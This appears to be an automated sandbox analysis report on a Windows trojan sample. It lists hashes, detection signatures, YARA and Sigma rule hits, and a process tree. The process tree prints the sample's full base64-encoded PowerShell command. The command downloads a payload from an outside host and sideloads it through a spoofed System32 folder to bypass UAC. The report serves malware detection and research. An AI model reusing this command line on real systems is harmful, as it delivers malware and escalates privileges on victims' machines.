Edit tour
Windows
Analysis Report
SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe
Overview
General Information
| Sample name: | SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe |
| Analysis ID: | 1503230 |
| MD5: | 7ad7164ed33d36b88c59fad18b28c429 |
| SHA1: | 40608e5e0b237e695df3b96050ac0e5594ed447e |
| SHA256: | f543aa76f1e5aec622e01f4465d92a87b988039d5a29f5c526419ae075057287 |
| Tags: | exe |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: TrustedPath UAC Bypass Pattern
Yara detected Powershell decode and execute
AI detected suspicious sample
Allocates memory in foreign processes
Creates a thread in another existing process (thread injection)
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Hijacks the control flow in another process
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Writes to foreign memory regions
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe (PID: 4912 cmdline: "C:\Users\ user\Deskt op\Securit eInfo.com. Trojan.Inj ect5.8130. 1270.16417 .exe" MD5: 7AD7164ED33D36B88C59FAD18B28C429) - svchost.exe (PID: 3428 cmdline:
C:\Windows \system32\ svchost.ex e -k Unist ackSvcGrou p -s CDPUs erSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) 
cmd.exe (PID: 5704 cmdline: cmd.exe /c powershel l -Command "$decoded = [System .Text.Enco ding]::UTF 8.GetStrin g([System. Convert]:: FromBase64 String('SW 52b2tlLVdl YlJlcXVlc3 QgLVVyaSAi aHR0cHM6Ly 9yYXcuZ2l0 aHVidXNlcm NvbnRlbnQu Y29tL3Bhbm NoaXRvcGlz dG9sZXN4L2 l0ZW1zL21h aW4vdXN2Y3 VzYi5kYXQi IC1PdXRGaW xlICJDOlxV c2Vyc1wkZW 52OlVzZXJO YW1lXEFwcE RhdGFcUm9h bWluZ1xweW xkLmRsbCI7 DQpTdGFydC 1TbGVlcCAt TWlsbGlzZW NvbmRzIDUw MDA7DQppZi AoVGVzdC1Q YXRoICJDOl xVc2Vyc1wk ZW52OlVzZX JOYW1lXEFw cERhdGFcUm 9hbWluZ1xw eWxkLmRsbC Ipew0KCU5l dy1JdGVtIC 1QYXRoICJc XD9cQzpcV2 luZG93cyBc U3lzdGVtMz IiIC1JdGVt VHlwZSBEaX JlY3Rvcnkg LUZvcmNlOw 0KCUNvcHkt SXRlbSAtUG F0aCAiQzpc V2luZG93c1 xTeXN0ZW0z MlxwcmludH VpLmV4ZSIg LURlc3Rpbm F0aW9uICJD OlxXaW5kb3 dzIFxTeXN0 ZW0zMlxwcm ludHVpLmV4 ZSIgLUZvcm NlOw0KCU1v dmUtSXRlbS AtUGF0aCAi QzpcVXNlcn NcJGVudjpV c2VyTmFtZV xBcHBEYXRh XFJvYW1pbm dccHlsZC5k bGwiIC1EZX N0aW5hdGlv biAiQzpcV2 luZG93cyBc U3lzdGVtMz JccHJpbnR1 aS5kbGwiIC 1Gb3JjZTsN CglTdGFydC 1TbGVlcCAt TWlsbGlzZW NvbmRzIDE1 MDA7DQoJU3 RhcnQtUHJv Y2VzcyAtRm lsZVBhdGgg IkM6XFdpbm Rvd3MgXFN5 c3RlbTMyXH ByaW50dWku ZXhlIjsJDQ p9')); Inv oke-Expres sion $deco ded;" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6656 cmdline: powershell -Command "$decoded = [System. Text.Encod ing]::UTF8 .GetString ([System.C onvert]::F romBase64S tring('SW5 2b2tlLVdlY lJlcXVlc3Q gLVVyaSAia HR0cHM6Ly9 yYXcuZ2l0a HVidXNlcmN vbnRlbnQuY 29tL3BhbmN oaXRvcGlzd G9sZXN4L2l 0ZW1zL21ha W4vdXN2Y3V zYi5kYXQiI C1PdXRGaWx lICJDOlxVc 2Vyc1wkZW5 2OlVzZXJOY W1lXEFwcER hdGFcUm9hb WluZ1xweWx kLmRsbCI7D QpTdGFydC1 TbGVlcCAtT WlsbGlzZWN vbmRzIDUwM DA7DQppZiA oVGVzdC1QY XRoICJDOlx Vc2Vyc1wkZ W52OlVzZXJ OYW1lXEFwc ERhdGFcUm9 hbWluZ1xwe WxkLmRsbCI pew0KCU5ld y1JdGVtIC1 QYXRoICJcX D9cQzpcV2l uZG93cyBcU 3lzdGVtMzI iIC1JdGVtV HlwZSBEaXJ lY3RvcnkgL UZvcmNlOw0 KCUNvcHktS XRlbSAtUGF 0aCAiQzpcV 2luZG93c1x TeXN0ZW0zM lxwcmludHV pLmV4ZSIgL URlc3RpbmF 0aW9uICJDO lxXaW5kb3d zIFxTeXN0Z W0zMlxwcml udHVpLmV4Z SIgLUZvcmN lOw0KCU1vd mUtSXRlbSA tUGF0aCAiQ zpcVXNlcnN cJGVudjpVc 2VyTmFtZVx BcHBEYXRhX FJvYW1pbmd ccHlsZC5kb GwiIC1EZXN 0aW5hdGlvb iAiQzpcV2l uZG93cyBcU 3lzdGVtMzJ ccHJpbnR1a S5kbGwiIC1 Gb3JjZTsNC glTdGFydC1 TbGVlcCAtT WlsbGlzZWN vbmRzIDE1M DA7DQoJU3R hcnQtUHJvY 2VzcyAtRml sZVBhdGggI kM6XFdpbmR vd3MgXFN5c 3RlbTMyXHB yaW50dWkuZ XhlIjsJDQp 9')); Invo ke-Express ion $decod ed;" MD5: 04029E121A0CFA5991749937DD22A1D9) 
printui.exe (PID: 6692 cmdline: "C:\Window s \System3 2\printui. exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E) - printui.exe (PID: 1172 cmdline:
"C:\Window s \System3 2\printui. exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||
| Source: | Author: Florian Roth (Nextron Systems): | ||